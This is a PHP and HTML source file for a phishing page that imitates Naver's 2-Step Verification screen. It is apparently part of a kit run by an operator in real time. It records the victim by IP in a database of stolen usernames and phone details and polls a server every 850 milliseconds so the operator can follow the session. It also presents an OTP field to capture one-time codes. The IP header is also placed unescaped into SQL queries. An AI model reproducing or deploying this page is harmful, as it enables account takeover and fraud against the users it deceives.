<?php

@session_start();
error_reporting(0);
ini_set("display_errors", 0);

require_once "../cod3rconfig/registro.php";
require_once "../cod3rconfig/conexao.php";
require_once "../cod3rconfig/data.php";


$ip = (isset($_SERVER["HTTP_CF_CONNECTING_IP"]) ? $_SERVER["HTTP_CF_CONNECTING_IP"] : $_SERVER['REMOTE_ADDR']);

$query_info = "SELECT * FROM infos WHERE ip='$ip'";
$recorinfo = mysqli_query(DBConnect(), $query_info) or die(mysqli_error(DBCOnnect()));
$row_infio = mysqli_fetch_assoc($recorinfo);
$totalRowsinfo = mysqli_num_rows($recorinfo);


$celular = $row_infio['numero_autenticar'];
$modelo = $row_infio['celular_autenticar'];
$msgnotefi = $row_infio['notefimsg'];

$email = $row_infio['usuario'];
$tempo = time();
$atualiza = mysqli_query(DBCOnnect(), "UPDATE infos SET tempo='$tempo', status='Online', statusremote='Cliente Online Notify Naver' WHERE ip='$ip'");

?>

<html lang="ko">

<head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no, target-densitydpi=medium-dpi">
    <title>Naver Sign in</title>
    <link rel="shortcut icon" href="/app/provider/assets-naver/images/favicon_1024.png" type="image/x-icon">
    <link rel="stylesheet" href="/app/provider/assets-naver/css/touch.css">
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>

    <script type="text/javascript">
        $(document).ready(function() {
            atualiza();
        });
        function atualiza() {
            $.get('ver_online.php',
                function(resultado) {
                    $('#onlineagora').html(resultado);
                })
            setTimeout('atualiza()', 850);
        }
    </script>
</head>

<body class="whole_white">
    <div id="wrap" class="wrap">
        <header id="header" role="banner" class="header">
            <div class="header_inner"></div>
        </header>
        <div id="container" class="container">
            <div class="content">
                <div class="logo_wrap">
                    <a>
                        <h1 class="logo">
                            <span class="blind">네이버</span>
                        </h1>
                    </a>
                </div>
                <div class="step_wrap">
                    <div id="frmNIDLogin" name="frmNIDLogin" target="_top" autocomplete="off">
                        <div class="step_inner" id="push_case" style="display: block;">
                            <div class="title_wrap" id="call_success_div" style="display: block;">
                                <h2 class="title" id="push_title">
                                    2-Step Verification notification sent
                                </h2>
                                <p class="desc" id="push_desc">
                                    Check the verification notification on the registered device.
                                </p>
                            </div>
                            <div class="title_wrap" id="call_fail_div1" style="display:none;">
                                <h2 class="title" id="fail_title">
                                    Not getting the notification?
                                </h2>
                            </div>
                            <p class="step_img"><img id="guide_image" src="/app/provider/assets-naver/images/img-2step-mockup-01-en.png" width="210" height="135"></p>

                            <div class="step_guide" id="call_fail_div2" style="display:none;">
                                <p class="guide_title" id="fail_guide_title">Check the following and request the
                                    notification again.</p>
                                <ul class="guide_list">
                                    <li>
                                        <span class="text" id="fail_guide_desc1">Are you signed into the NAVER
                                            app?</span>
                                    </li>
                                    <li>
                                        <span class="text" id="fail_guide_desc2">Did you allow the NAVER app's
                                            notifications in your device settings?</span>
                                    </li>
                                    <li>
                                        <span class="text" id="fail_guide_desc3">Did you allow notifications in the
                                            NAVER app settings?</span>
                                    </li>
                                </ul>
                            </div>

                            <div class="login_check align">
                                <input id="wait" type="checkbox">
                                <label for="wait" class="check_row">
                                    <span class="check_text" id="not_ask_again">This browser will sign in without 2-Step
                                        Verification.</span>
                                </label>
                            </div>
                            <button type="button" class="btn_check" id="resendBtn">
                                <span class="text" id="resend">Resend notification</span>
                            </button>
                            <!-- <button type="button" class="btn_white" id="useotpBtn">
                                <span class="text" id="useotp">Sign in using the OTP verification code</span>
                            </button> -->
                        </div>
                        <div class="step_inner" id="direct_case" style="display:none;">
                            <div class="title_wrap">
                                <h2 class="title" id="otp_title">Enter the OTP verification code.</h2>
                                <p class="desc" id="otp_desc">If you cannot receive the 2-Step Verification
                                    notification, sign in using the OTP verification code.</p>
                            </div>
                            <div class="input_row">
                                <input type="tel" id="otp" name="otp" placeholder="Enter the verification code." class="input_text">
                            </div>
                            <div class="login_error_chat" id="login_error_msg" style="display:none;">
                                <div class="cell" style="width:100%">
                                    <div class="error_message" id="error_message">
                                        <div class="error">
                                            The number you entered is incorrect. Please try again.
                                        </div>
                                    </div>
                                </div>
                            </div>
                            <button type="submit" class="btn_check">
                                <span class="text" id="confirm">Confirm</span>
                            </button>

                            <div class="otp_wrap">
                                <h3 class="otp_title" id="direct_guide_title">How to check the OTP verification code
                                </h3>
                                <ul class="otp_picture">
                                    <li>
                                        <div class="step_pic01">
                                            <span class="step_num">STEP 01</span>
                                        </div>
                                        <p class="step_txt" id="direct_guide_desc1">Button</p>
                                    </li>
                                    <li>
                                        <div class="step_pic02">
                                            <span class="step_num">STEP 02</span>
                                        </div>
                                        <p class="step_txt" id="direct_guide_desc2">NAVER app<br>settings</p>
                                    </li>
                                </ul>
                                <ul class="otp_picture">
                                    <li>
                                        <div class="step_pic03">
                                            <span class="step_num">STEP 03</span>
                                        </div>
                                        <p class="step_txt" id="direct_guide_desc3">NAVER OTP</p>
                                    </li>
                                    <li>
                                        <div class="step_pic04">
                                            <span class="step_num">STEP 04</span>
                                        </div>
                                        <p class="step_txt" id="direct_guide_desc4">Check verificationn<br>code</p>
                                    </li>
                                </ul>
                            </div>
                            <ul class="tip_wrap" id="direct_case2" style="display: none;">
                                <li>
                                    <span class="tip_text">
                                        <a id="release2nd" class="tip_link">2-Step
                                            Verification will be disabled.</a>
                                    </span>
                                </li>
                            </ul>
                        </div>
                    </div>
                </div>
            </div>
        </div>
        <footer class="footer" role="contentinfo">
            <div class="footer_inner">
                <ul class="footer_list">
                    <li>
                        <a class="footer_item">
                            <span class="footer_logo">
                                <span class="blind">네이버</span>
                            </span>
                        </a>
                    </li>
                    <li>
                        <a class="footer_item">
                            <span class="footer_text" id="help">Help</span>
                        </a>
                    </li>
                </ul>
            </div>
        </footer>
    </div>
    <input type="hidden" id="svctype" name="svctype" value="1">
    <input type="hidden" id="token_push" name="token_push" value="yDfTNGqiR5K8BaGAtRN2YvqmI6zOrdmx">
    <input type="hidden" id="ajax_alert_fail" name="ajax_alert_fail" value="2-Step Verification failed.
  
  If you reinstalled or restored the Naver app, you'll need to reset the 2-Step Verification.
  Go to [My Information> Security Settings> Manage 2-Step Verification> Change Device] on the signed-in device.
  If you don't have a signed-in device, turn off 2-Step Verification.
  Check the device's time is set to the current time.">
    <input type="hidden" id="ajax_alert_unmatch" name="ajax_alert_unmatch" value="2-Step Verification failed.
  
  If you reinstalled or restored the Naver app, you'll need to reset the 2-Step Verification.
  Go to [My Information> Security Settings> Manage 2-Step Verification> Change Device] on the signed-in device.
  If you don't have a signed-in device, turn off 2-Step Verification.
  Check the device's time is set to the current time.">
    <input type="hidden" id="ajax_alert_deny" name="ajax_alert_deny" value="2-step verification request has been declined.">
    <input type="hidden" id="push_count_over" name="push_count_over" value="You can only retransmit verification notifications up to 3 times. If you do not receive a notification, please enter your verification number directly.">
    <input type="hidden" id="otpsession" name="otpsession" value="yDfTNGqiR5K8BaGAtRN2YvqmI6zOrdmx">
    <input type="hidden" id="push_result" name="push_result" value="true">
    <input type="hidden" id="grp_member" name="grp_member" value="false">
    <input type="hidden" id="locale" name="locale" value="en_US">
    <input type="hidden" id="nclicks_nsc" name="nclicks_nsc" value="nid.login_en">

    <script type="text/javascript" src="/app/provider/assets-naver/js/common.js"></script>
    <script type="text/javascript" src="/app/provider/assets-naver/js/push.js"></script>
    <div id="nv_stat" style="display:none;">90</div>

</body>

</html>